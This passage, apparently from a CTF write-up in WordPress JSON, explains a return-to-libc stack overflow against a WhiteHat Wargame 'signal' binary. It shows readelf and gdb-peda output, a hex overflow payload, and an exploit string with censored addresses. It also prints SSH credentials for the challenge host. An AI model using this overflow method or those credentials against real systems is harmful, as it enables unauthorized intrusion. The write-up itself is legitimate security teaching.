return to libc<\/a> attack.<\/p>\nTo perform it<\/p>\n
Dynamic section at offset 0xf0c contains 25 entries:\r\n Tag Type Name\/Value\r\n 0x00000001 (NEEDED) Shared library: [libpthread.so.0]\r\n 0x00000001 (NEEDED) Shared library: [libc.so.6]\r\n 0x0000000c (INIT) 0x804855c\r\n 0x0000000d (FINI) 0x8048a24\r\n 0x00000019 (INIT_ARRAY) 0x8049f00\r\n 0x0000001b (INIT_ARRAYSZ) 4 (bytes)\r\n 0x0000001a (FINI_ARRAY) 0x8049f04\r\n 0x0000001c (FINI_ARRAYSZ) 4 (bytes)\r\n 0x6ffffef5 (GNU_HASH) 0x80481ac\r\n 0x00000005 (STRTAB) 0x804831c\r\n 0x00000006 (SYMTAB) 0x80481cc\r\n 0x0000000a (STRSZ) 300 (bytes)\r\n 0x0000000b (SYMENT) 16 (bytes)\r\n 0x00000015 (DEBUG) 0x0\r\n 0x00000003 (PLTGOT) 0x804a000\r\n 0x00000002 (PLTRELSZ) 128 (bytes)\r\n 0x00000014 (PLTREL) REL\r\n 0x00000017 (JMPREL) 0x80484dc\r\n 0x00000011 (REL) 0x80484d4\r\n 0x00000012 (RELSZ) 8 (bytes)\r\n 0x00000013 (RELENT) 8 (bytes)\r\n 0x6ffffffe (VERNEED) 0x8048474\r\n 0x6fffffff (VERNEEDNUM) 2\r\n 0x6ffffff0 (VERSYM) 0x8048448\r\n 0x00000000 (NULL) 0x0<\/pre>\nboth libc<\/code> and libpthread<\/code> from the original system will be required(Unfortunately the system was and is down, so we were unable to retrieve the libraries).<\/p>\nThe signal<\/code> function actually loops through the given name<\/code>, parsing two characters at a time as a hexadecimal value and writes it into a buffer on the stack, without checking for the buffer length. So the goal is to provide enough data to fill the buffer, overflow it and build a valid stack frame for a libc<\/code> function that executes shell, system@glibc<\/code> in this case, but, for example, execve<\/code> would also work.<\/p>\nThe required input is:4142434445464748495041424344454647484950414243444546474849504142434400<\/code>which becomes<\/p>\nABCDEFGHIJABCDEFGHIJABCDEFGHIJABCD[NULL]\r\n ^ ^\r\n |______|<\/pre>\non the stack. Characters from the first C<\/code> to J<\/code> are the addresses of system@glibc<\/code> and the pointer to it’s argument – \"\/bin\/sh\"<\/code>.<\/p>\nTo retrieve the aforementioned addresses gdb<\/code> can be used:<\/p>\ngdb-peda$ file signal\r\nReading symbols from signal...(no debugging symbols found)...done.\r\ngdb-peda$ start\r\n[Thread debugging using libthread_db enabled]\r\nUsing host libthread_db library \"\/lib\/x86_64-linux-gnu\/libthread_db.so.1\".\r\n[----------------------------------registers-----------------------------------]\r\nEAX: 0x1 \r\nEBX: 0xf7faf000 --> 0x1a6da8 \r\nECX: 0xc9045fc9 \r\nEDX: 0xffffd634 --> 0xf7faf000 --> 0x1a6da8 \r\nESI: 0x0 \r\nEDI: 0x0 \r\nEBP: 0xffffd608 --> 0x0 \r\nESP: 0xffffd608 --> 0x0 \r\nEIP: 0x80488a7 (: and esp,0xfffffff0)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n 0x80488a3 : ret \r\n 0x80488a4 : push ebp\r\n 0x80488a5 : mov ebp,esp\r\n=> 0x80488a7 : and esp,0xfffffff0\r\n 0x80488aa : sub esp,0x20\r\n 0x80488ad : mov DWORD PTR [esp+0x4],0x804878d\r\n 0x80488b5 : mov DWORD PTR [esp],0x2\r\n 0x80488bc : call 0x80485a0 \r\n[------------------------------------stack-------------------------------------]\r\n0000| 0xffffd608 --> 0x0 \r\n0004| 0xffffd60c --> 0xf7e21ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)\r\n0008| 0xffffd610 --> 0x1 \r\n0012| 0xffffd614 --> 0xffffd6a4 --> 0xffffd7f6 (\"\/home\/u\/signal\")\r\n0016| 0xffffd618 --> 0xffffd6ac --> 0xffffd805 (\"LC_PAPER=C.UTF-8\")\r\n0020| 0xffffd61c --> 0xf7feacca (add ebx,0x12336)\r\n0024| 0xffffd620 --> 0x1 \r\n0028| 0xffffd624 --> 0xffffd6a4 --> 0xffffd7f6 (\"\/home\/u\/signal\")\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nTemporary breakpoint 1, 0x080488a7 in main ()\r\ngdb-peda$ p\/x &system\r\n$1 = 0xcensored\r\ngdb-peda$ find \/bin\/sh\r\nSearching for '\/bin\/sh' in: None ranges\r\nFound 1 results, display max 1 items:\r\nlibc : 0xCensored (\"\/bin\/sh\")\r\n<\/pre>\nThe architecture is x86<\/code> and therefore pointers are in little endian<\/em> convention, so the addresses must be written in reverse<\/strong>.<\/p>\nFinally, the exploit is:4142censoredCensored41424344454647484950414243444546474849504142434400<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"Link: https:\/\/wargame.whitehat.vn\/Challenges\/DetailContest\/136 Author: WhiteHat Wargame Points: 100 Category: pwn Description ssh pwnguest@118.70.80.143 1094 68bZ$wRn Resources the binary (gzipped) Walkthrough part 1 We have been given shell access to a remote machine. The pwnguest user was extremely limited – no access…<\/span> <\/p>\nRead more ›<\/div>\n
<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[13],"tags":[7],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\t\n